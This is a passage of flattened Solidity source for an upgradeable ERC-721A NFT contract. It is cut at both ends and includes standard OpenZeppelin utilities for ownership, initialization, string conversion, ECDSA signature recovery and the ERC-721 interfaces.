*/ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; // import "./InitializableCustom.sol"; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721AUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; function __ERC721A_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721A_init_unchained(name_, symbol_); } function __ERC721A_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721AUpgradeable.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[42] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(!_initialized, "Initializable: contract is already initialized"); // require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; } _; if (isTopLevelCall) { _initializing = false; _initialized = true; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev 